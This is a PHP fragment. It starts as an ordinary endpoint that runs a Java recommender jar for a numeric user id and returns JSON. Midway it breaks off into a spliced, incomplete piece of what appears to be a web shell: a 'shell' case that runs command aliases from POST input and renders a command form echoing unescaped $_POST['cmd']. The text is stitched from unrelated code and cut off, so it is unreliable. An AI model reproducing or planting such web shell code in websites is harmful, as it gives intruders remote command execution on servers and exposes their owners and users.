<?php
function cmd_exec($cmd, &$stdout, &$stderr)
{
$outfile = tempnam(".", "cmd");
$errfile = tempnam(".", "cmd");
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("file", $outfile, "w"), 2 => array("file", $errfile, "w"));
$proc = proc_open($cmd, $descriptorspec, $pipes);
if (!is_resource($proc)) {
return 255;
}
fclose($pipes[0]);
//Don't really want to give any input
$exit = proc_close($proc);
$stdout = file($outfile);
$stderr = file($errfile);
unlink($outfile);
unlink($errfile);
return $exit;
}
$user_id = intval($_GET['id']);
$file = __DIR__ . DIRECTORY_SEPARATOR . "recommender.jar";
cmd_exec("java -jar {$file} {$user_id} 10", $results, $error);
//print_r($result);
$json = array();
foreach ($results as $result) {
$json[] = intval(str_replace(array("\r", "\n"), '', $result));
}
echo json_encode($json);
//print_r($error);
do_footer($ver);
die;
break;
case 'shell':
echo " <textarea class='txt' style='width:98%; height:60%; background:#262626' rows='30'>";
if ($safe_mode == 'On') {
echo "Safe mode is on..";
}
if (isset($_POST['alias'])) {
foreach ($alias as $k => $v) {
if ($_POST['alias'] == $k) {
cmd_exec($v);
}
}
} else {
cmd_exec($safe_mode);
}
if (isset($_POST['cmdir'])) {
$dirr = $_POST['cmdir'];
} else {
$dirr = $path;
}
echo "</textarea>";
echo "<form method='post' action='' style='padding:0px; margin-top:5px; margin-bottom:15px;'><input type='hidden' name='do' value='shell'><input type='text' name='cmd' value='";
if (isset($_POST['cmd'])) {
echo $_POST['cmd'];
} elseif ($os == 'win') {
echo 'dir';
} else {
echo 'ls';
}